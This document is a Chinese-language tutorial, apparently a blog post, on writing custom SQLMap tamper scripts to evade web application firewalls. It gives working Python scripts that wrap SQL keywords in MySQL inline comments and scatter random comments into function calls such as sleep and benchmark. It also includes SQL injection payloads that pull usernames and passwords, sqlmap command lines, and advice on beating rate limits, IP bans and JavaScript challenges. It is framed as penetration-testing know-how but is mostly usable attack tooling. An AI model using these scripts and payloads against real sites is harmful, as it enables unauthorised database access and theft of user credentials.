SQLMap自定义Tamper脚本编写指南:绕过WAF检测的实战技巧

SQLMap自定义Tamper脚本编写指南:绕过WAF检测的实战技巧
1. 项目概述为什么我们需要自定义Tamper脚本在渗透测试或安全研究领域SQLMap几乎是无人不知的自动化SQL注入工具。它的强大之处在于内置了海量的检测逻辑和绕过技术。然而当你信心满满地对着一个部署了Web应用防火墙WAF的站点运行sqlmap -u “target”时十有八九会看到满屏的“403 Forbidden”或者请求被直接重置。这就像你拿着一把万能钥匙却发现锁芯外面加装了一个精密的报警器钥匙刚插进去就警铃大作。WAF的核心工作就是分析HTTP/HTTPS流量匹配预定义或自学习的恶意规则模式一旦命中请求就会被拦截。SQLMap的默认请求特征比如大量包含UNION SELECT、SLEEP(、BENCHMARK(等关键字的探测载荷对于现代WAF来说无异于在雷达上亮起一个巨大的红点。这时SQLMap自带的Tamper脚本库就成了我们的“隐身衣”。这些脚本在SQLMap生成攻击载荷后、发送请求前对载荷进行实时变形比如编码、混淆、插入垃圾字符等旨在绕过WAF的规则匹配。但问题来了WAF也在进化。商业WAF如阿里云云盾、腾讯云WAF以及开源的ModSecurity with OWASP CRS规则集都具备一定的机器学习能力和动态规则更新。通用的Tamper脚本可能很快就会被加入黑名单。这就是为什么作为一名深入一线的安全从业者掌握编写自定义Tamper脚本的能力至关重要。这不再是简单的工具使用而是进入了攻防对抗的核心层你需要理解WAF的检测逻辑并针对性地设计混淆方案。这就像一场猫鼠游戏而自定义脚本就是你手中最灵活的那张牌。2. Tamper脚本核心机制与WAF绕过原理拆解2.1 SQLMap请求处理流程中的Tamper定位要编写有效的Tamper脚本首先必须清楚它在SQLMap工作流中的位置。SQLMap的注入测试是一个多阶段的过程首先进行启发式测试然后进行布尔盲注、时间盲注、报错注入、联合查询等。在每个阶段SQLMap都会生成一个“载荷模板”。Tamper脚本的作用点就是在这些模板被填充为具体参数值并组装成最终HTTP请求之前对它们进行修饰。简单来说流程是这样的载荷生成SQLMap根据选定的注入技术--technique和数据库类型--dbms从XML载荷库中选取模板。Tamper处理生成的原始载荷字符串会依次通过通过--tamper参数指定的所有脚本。每个脚本的tamper函数都会接收这个字符串并返回修改后的字符串。请求组装与发送处理后的载荷被放入HTTP请求参数中发送给目标服务器。理解这一点至关重要Tamper脚本操作的是即将被放入请求参数中的字符串而不是整个HTTP请求头或体虽然高级脚本也可以修改这些但标准Tamper接口主要针对参数值。它的目标是让这个参数字符串“看起来”不像恶意SQL但被目标数据库解析时又能还原为有效的SQL语句。2.2 WAF常见检测模式与Tamper对抗思路WAF的检测通常是多层的我们的Tamper脚本需要针对这些层进行设计关键字/模式匹配正则表达式这是最基础的一层。WAF维护一个恶意关键字列表如union select,sleep(,drop table和模式如 OR 11。一旦请求参数中出现这些模式请求就被阻断。Tamper对抗思路混淆与分割。将关键字拆散、编码、插入无害注释或空白字符。示例UNION SELECT-UNI/**/ON/**/SEL/**/ECT或U%4e%49%4f%4e%20%53%45%4c%45%43%54URL编码。语法/语义分析更高级的WAF会尝试解析SQL片段的语法结构。简单的字符串混淆可能被它还原后再分析。Tamper对抗思路滥用特定数据库特性。利用某些数据库解析器的“宽容性”例如MySQL允许/*!50000关键字*/这种内联注释其中的代码只有在MySQL版本大于等于5.00.00时才会被执行但对WAF来说可能只是注释。SELECT-/*!50000SELECT*/。SQL Server支持在标识符中使用[]如S[E-L]ECT。或者使用号连接字符串来构造关键字如‘se’’lect’。Oracle可以使用CHR()函数拼接出关键字如SELECT可以写成SEL’||’ECT或利用FROM DUAL等特性。请求频率与行为异常检测WAF会监控单个IP的请求频率、错误比例等。SQLMap的默认高速爆破模式很容易触发此类规则。Tamper对抗思路此层面Tamper脚本作用有限需配合SQLMap其他参数。但脚本可以设计得使每次请求的载荷“看起来”更随机、差异更大避免被基于哈希的重复请求检测命中。同时必须使用--delay、--timeout、--retries等参数来降低请求速率模拟人类行为。JavaScript挑战与会话验证一些云WAF如阿里云WAF的JS挑战页会在首次请求时返回一段JavaScript代码客户端必须正确执行并提交计算出的Cookie后续请求才会被放行。这是目前非常有效的一种防御自动化工具的手段。Tamper对抗思路纯Tamper脚本无法解决此问题。这需要外部逻辑例如使用--eval参数配合Python代码动态处理JS或者使用--cookie携带一个预先通过浏览器获取的有效会话Cookie。编写Tamper脚本时需意识到绕过JS挑战是前置条件。2.3 一个Tamper脚本的标准结构剖析SQLMap的Tamper脚本本质是一个Python模块必须包含一个名为tamper的函数。其基本骨架如下#!/usr/bin/env python Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file LICENSE for copying permission from lib.core.enums import PRIORITY __priority__ PRIORITY.NORMAL # 定义脚本优先级LOW/NORMAL/HIGH影响执行顺序 def dependencies(): 声明脚本依赖关系可选。 例如如果脚本只对MySQL有效可以在这里限制。 pass def tamper(payload, **kwargs): 核心函数对payload进行混淆处理。 :param payload: 原始载荷字符串 :param kwargs: 可能包含其他信息的字典如HTTP头等但常用的是payload :return: 混淆后的载荷字符串 if payload: # 你的混淆逻辑在这里 # 例如将空格替换为注释 retVal payload.replace( , /**/) return retVal if retVal else payload关键点解析__priority__当使用多个--tamper脚本时SQLMap默认按优先级从低到高执行。通常进行全局性、基础性修改如URL编码的脚本优先级设为LOW而进行针对性、破坏性修改如函数替换的脚本优先级设为HIGH以确保修改顺序符合逻辑。tamper(payload, **kwargs)这是唯一必须的函数。payload就是需要处理的SQL注入载荷。你的所有魔法都发生在这里。kwargs是一个宝库你可以从中获取headers请求头字典从而编写能修改请求头的Tamper脚本例如通过修改User-Agent或添加特定头部来绕过某些规则。3. 从零编写你的第一个自定义Tamper脚本我们从一个实际需求开始假设目标WAF严格过滤了UNION和SELECT这两个关键字即使拆成UNI/**/ON SEL/**/ECT也会被拦截。但我们发现目标数据库是MySQL且WAF对MySQL特有的/*!...*/内联注释语法检测不严。3.1 场景分析与设计利用MySQL内联注释MySQL的内联注释/*!50000 sql语句 */有一个特性注释中的内容会被MySQL服务器执行但其他数据库或语法解析器可能会将其视为普通注释。我们可以利用这个特性将UNION SELECT包装起来。设计思路编写一个脚本将UNION SELECT整体替换为/*!50000UNION SELECT*/。但这样太死板SQLMap的载荷变化多端我们需要更通用的匹配和替换。更优方案编写一个脚本识别出UNION和SELECT关键字考虑大小写变体并在它们前面加上/*!50000后面加上*/。同时要确保不破坏已经存在的语法结构。3.2 脚本实现mysql_inline_comment.py#!/usr/bin/env python Tamper script to wrap UNION and SELECT with MySQL inline comments. Author: Your Name from lib.core.enums import PRIORITY import re __priority__ PRIORITY.HIGH # 这是针对性修改优先级设高 def tamper(payload, **kwargs): Wrap UNION and SELECT keywords with MySQL version-specific inline comments. Example: UNION SELECT - /*!50000UNION*//*!50000SELECT*/ if not payload: return payload retVal payload # 使用正则表达式匹配独立的 UNION 和 SELECT 关键字忽略大小写 # \b 是单词边界确保匹配的是独立单词而不是像 UNION_TEST 这样的部分 # 注意这个正则比较简单实际中可能需要更复杂的逻辑来处理嵌套和复杂语句 def replace_keyword(match): keyword match.group(0) return f/*!50000{keyword}*/ # 分别替换 UNION 和 SELECT # 使用 re.IGNORECASE 标志进行不区分大小写的匹配 retVal re.sub(r\bUNION\b, replace_keyword, retVal, flagsre.IGNORECASE) retVal re.sub(r\bSELECT\b, replace_keyword, retVal, flagsre.IGNORECASE) return retVal代码解读与注意事项正则表达式\bUNION\b\b表示单词边界。这确保了只匹配独立的单词“UNION”而不会匹配到“REUNION”或“UNIONIZE”中的部分。这是避免破坏payload结构的关键。/*!50000{keyword}*/我们选择50000作为一个版本号代表MySQL 5.0.0。几乎所有现代MySQL版本都大于此版本因此注释内的语句一定会被执行。你也可以用/*!UNION*/这种省略版本号的形式但明确版本号是更佳实践。优先级HIGH因为我们是在修改关键SQL关键字这种修改应该在基础性修改如空格替换之后进行所以设为高优先级。局限性这个脚本非常基础。它没有处理UNION ALL SELECT中的ALL也没有处理SELECT后面可能跟的*、column或FROM子句。在真实对抗中WAF可能会检测/*!这种模式本身。因此这只是一个教学示例展示了Tamper脚本的基本编写方法。3.3 测试与调试你的脚本编写完脚本后不能直接用于生产环境必须进行测试。方法一使用SQLMap的--test功能将脚本放入SQLMap的tamper/目录下然后运行python sqlmap.py -u “http://test.com?id1” --tampermysql_inline_comment --test但这需要有一个实际可访问的URL。更好的方法是使用离线测试。方法二编写独立的Python测试脚本创建一个test_tamper.py文件#!/usr/bin/env python import sys sys.path.append(‘/path/to/sqlmap/’) # 添加sqlmap路径以便导入其库 from tamper.mysql_inline_comment import tamper # 导入你的tamper函数 test_payloads [ “1‘ UNION SELECT username, password FROM users-- -”, “-1‘ OR 11 UNION ALL SELECT null, version()-- -”, “1‘ AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT USER())))-- -” ] for original in test_payloads: modified tamper(original) print(f“原始: {original}”) print(f“混淆后: {modified}”) print(“-” * 50)运行这个测试脚本观察输出是否符合预期。这是最安全、最高效的调试方式。方法三使用--eval参数进行动态测试如果你只是想快速看下效果可以在SQLMap命令中结合--eval但这主要用于简单字符串操作复杂逻辑还是建议用方法二。4. 进阶编写应对复杂WAF规则的自定义脚本4.1 场景绕过对常见函数如sleep(),benchmark()的检测时间盲注严重依赖SLEEP()或BENCHMARK()这类函数它们也是WAF的重点关照对象。我们可以利用数据库的字符串拼接和函数调用特性来绕过。设计思路将sleep(5)混淆为/**/sLeEp/**/(5)这太简单了。更高级的做法是将函数名拆分成多个部分再利用数据库的字符串连接功能组合起来执行。例如在MySQL中sleep(5)-(seLect mid(‘sleep’,1))((5))不这不对。 更可行的方案利用CONCAT()或CHAR()函数动态生成函数名。但Tamper脚本处理的是字符串最终需要生成一个能被数据库解析的SQL表达式。一个更实用的思路是超长参数干扰。某些WAF只检查函数名后紧跟括号的模式。我们可以插入大量空白、换行或内联注释将函数名和参数列表“撑开”。def tamper(payload, **kwargs): if not payload: return payload # 将 sleep( 替换为 sleep /*大量的随机注释*/ ( import random import string def add_obfuscation(match): func_name match.group(1) # 捕获函数名 # 生成一段随机的注释垃圾 junk ‘/*!’ ‘’.join(random.choices(string.ascii_letters string.digits, krandom.randint(10,30))) ‘*/’ return f“{func_name}{junk}(” # 匹配类似 sleep(, benchmark( 的模式 retVal re.sub(r‘(\b(sleep|benchmark|substring|ascii|ord)\b)\s*\(’, add_obfuscation, payload, flagsre.IGNORECASE) return retVal这个脚本会在敏感函数名和左括号之间插入一段随机的MySQL内联注释增加每次请求的差异性可能绕过基于固定模式匹配的WAF规则。4.2 脚本实现function_obfuscate.py#!/usr/bin/env python Tamper script to obfuscate function calls by inserting random comments between function name and parenthesis. Author: Your Name from lib.core.enums import PRIORITY import re import random import string __priority__ PRIORITY.HIGH def tamper(payload, **kwargs): Insert random inline comments between sensitive function names and their opening parenthesis. Example: sleep(5) - sleep/*!rAnDom123*/(5) if not payload: return payload # 定义需要混淆的函数名列表可根据目标WAF规则扩展 target_functions [‘sleep’, ‘benchmark’, ‘substring’, ‘substr’, ‘mid’, ‘ascii’, ‘ord’, ‘char’, ‘concat’, ‘group_concat’, ‘updatexml’, ‘extractvalue’, ‘floor’, ‘rand’, ‘user’, ‘database’, ‘version’] retVal payload # 为每个目标函数构造正则表达式模式 for func in target_functions: pattern rf‘(\b{func}\b)\s*\(’ # 替换函数 def repl(match): func_name match.group(1) # 生成随机注释内容使用 /*!...*/ 格式增加迷惑性 random_junk ‘’.join(random.choices(string.ascii_letters string.digits, krandom.randint(8, 15))) obfuscation f‘/*!{random_junk}*/’ # 随机决定在注释前后加不加空格增加变体 if random.choice([True, False]): obfuscation ‘ ‘ obfuscation if random.choice([True, False]): obfuscation obfuscation ‘ ‘ return f“{func_name}{obfuscation}(” retVal re.sub(pattern, repl, retVal, flagsre.IGNORECASE) return retVal高级技巧与思考随机性脚本中使用了random模块使得每次调用生成的混淆字符串都不同。这有助于绕过那些对请求内容进行哈希比对或简单模式匹配的WAF。目标函数列表列表可以自由扩展。你需要根据实际测试中遇到的拦截情况动态调整这个列表。例如如果发现load_file()被拦截就把它加进去。优先级由于这个脚本修改了具体的函数调用语法其优先级应设为HIGH确保它在基础的空格替换等操作之后执行。4.3 组合使用多个Tamper脚本单一脚本的绕过能力是有限的。实战中往往需要多个脚本串联形成“组合拳”。SQLMap的--tamper参数支持接收逗号分隔的脚本列表例如--tamperspace2comment,function_obfuscate,charencode。执行顺序SQLMap按照脚本在参数中出现的顺序依次应用。但每个脚本内部定义的__priority__也会影响最终顺序低优先级先执行。最佳实践是在命令行中明确指定顺序并理解每个脚本的作用。 一个典型的组合顺序可能是space2hash.py或space2comment.py处理空格这是最基础的混淆。between.py将比较符替换为BETWEEN ... AND句式绕过对的检测。randomcase.py随机大小写扰乱大小写敏感的正则。你的自定义脚本进行更深层次、针对性的函数或关键字混淆。charencode.py或chardoubleencode.py最后进行URL编码确保特殊字符正确传输。重要提示脚本组合并非越多越好。过多的混淆可能导致payload变得异常复杂不仅可能被更高级的语法分析WAF识别也可能影响目标数据库的解析导致注入失败。始终以能成功触发注入为第一目标。5. 实战调试与问题排查实录即使脚本编写得再完美在真实环境中也可能失败。以下是我在多次实战中总结的调试流程和常见问题。5.1 调试流程从失败到成功开启详细输出使用-v 3或更高最高为6参数让SQLMap打印出它发送的每一个请求和接收的每一个响应。这是最重要的调试信息源。python sqlmap.py -u “http://target.com/page.php?id1” --tamperyour_script.py -v 3 --batch观察被拦截的请求在-v 3的输出中找到返回状态码为403、406或被WAF明确拒绝的请求。仔细看Payload那一行那就是经过你的Tamper脚本处理后的最终载荷。复制这个载荷。离线分析载荷将复制出来的载荷粘贴到你的测试脚本中或者手动进行URL解码分析它最终的样子。思考关键字是否被成功混淆混淆后的语法在目标数据库如MySQL中是否依然有效你可以在本地搭建一个相同数据库环境进行验证。载荷中是否引入了新的、可能被WAF检测的模式例如你大量使用/*!WAF可能新增了对此模式的检测。修改与迭代根据分析结果调整你的Tamper脚本逻辑。然后重新测试。使用代理工具辅助配合Burp Suite或OWASP ZAP。将SQLMap的代理设置为--proxyhttp://127.0.0.1:8080这样所有请求都会经过代理工具。你可以在代理工具中直观地查看、修改甚至重放请求观察WAF的响应比单纯看命令行输出更直观。5.2 常见问题与解决方案速查表问题现象可能原因排查步骤与解决方案SQLMap报告“所有参数似乎都不注入”1. Tamper脚本破坏了SQL语法导致注入条件永不成立。2. WAF完全拦截了探测请求SQLMap没收到任何有效响应。1.检查语法使用-v 3查看发送的payload在本地数据库验证其正确性。2.检查响应查看WAF返回的页面。如果是标准的拦截页如403说明混淆不够。尝试更基础的脚本如space2comment或降低扫描强度--level 1 --risk 1。3.尝试单一技术用--techniqueB只测试布尔盲注该技术payload通常更隐蔽。特定payload被拦截其他正常WAF有针对特定关键字或模式的精确规则。1.定位关键字从-v 3输出中找到被拦截的payload与之前成功的payload做对比找出新增的或被修改的关键字。2.针对性混淆为你自定义脚本中的target_functions列表添加这个关键字或者专门为它写一个新的混淆规则。请求速度过快被WAF封禁IP触发了WAF的速率限制规则。1.降低速度使用--delay1每次请求间隔1秒和--timeout10超时时间。2.使用随机延迟--randomize-values和--randomize-length可以使请求看起来更不规则。3.更换IP或使用代理池这超出了Tamper脚本范畴但却是实战必备。遇到JS挑战页云WAF的浏览器验证。1.手动获取Cookie用浏览器正常访问一次目标通过开发者工具获取完整的Cookie包括WAF返回的验证Cookie如__cfduid,__requestverificationtoken等。2.在SQLMap中使用Cookie--cookie“namevalue; name2value2”。3.使用--eval如果JS挑战是简单的计算可以用--eval执行JS代码获取token但这通常很复杂。Tamper脚本导致数据库报错混淆后的SQL在目标数据库上语法错误。1.确认数据库类型务必使用正确的--dbms参数如--dbmsmysql。针对不同数据库的语法编写不同的脚本分支。2.简化脚本先做一个最小化测试确认基础混淆如空格替换是否有效再逐步增加复杂逻辑。5.3 我的个人实操心得从模仿开始再到创新不要一上来就想着写一个“终极”脚本。最好的学习方法是深入研究SQLMap自带的Tamper脚本在sqlmap/tamper/目录下。比如space2hash.py、between.py、charencode.py它们的代码简洁而高效是绝佳的范本。理解它们的思路再结合你遇到的具体WAF进行修改。保持payload的“合法性”混淆的最终目的不是让payload变得“面目全非”而是让它“看起来无害”的同时数据库还能正确执行。时刻记住你是在写“SQL”而不是乱码。在修改后务必在脑海中或测试环境里模拟数据库解析过程。WAF规则是动态的今天有效的Tamper脚本明天可能就失效了。因为管理员可能更新了WAF规则。因此自定义Tamper脚本是一个持续的过程。你需要建立一个自己的脚本库并根据目标情况灵活组合和调整。不要忽视非技术因素有时候绕过WAF最简单的方法是找到它的盲点。例如WAF可能只检测GET/POST参数不检测Cookie、User-Agent或X-Forwarded-For头部。尝试使用--cookie、--user-agent或--headers参数将注入点转移到这些地方。Tamper脚本也可以修改这些头部但这需要更高级的脚本编写通过kwargs[‘headers’]字典进行操作。耐心比技术更重要绕过WAF往往是一个试错的过程。一次成功的绕过可能建立在数十次失败的请求之上。详细记录每一次测试的payload和响应分析规律这才是资深安全研究员的做事方式。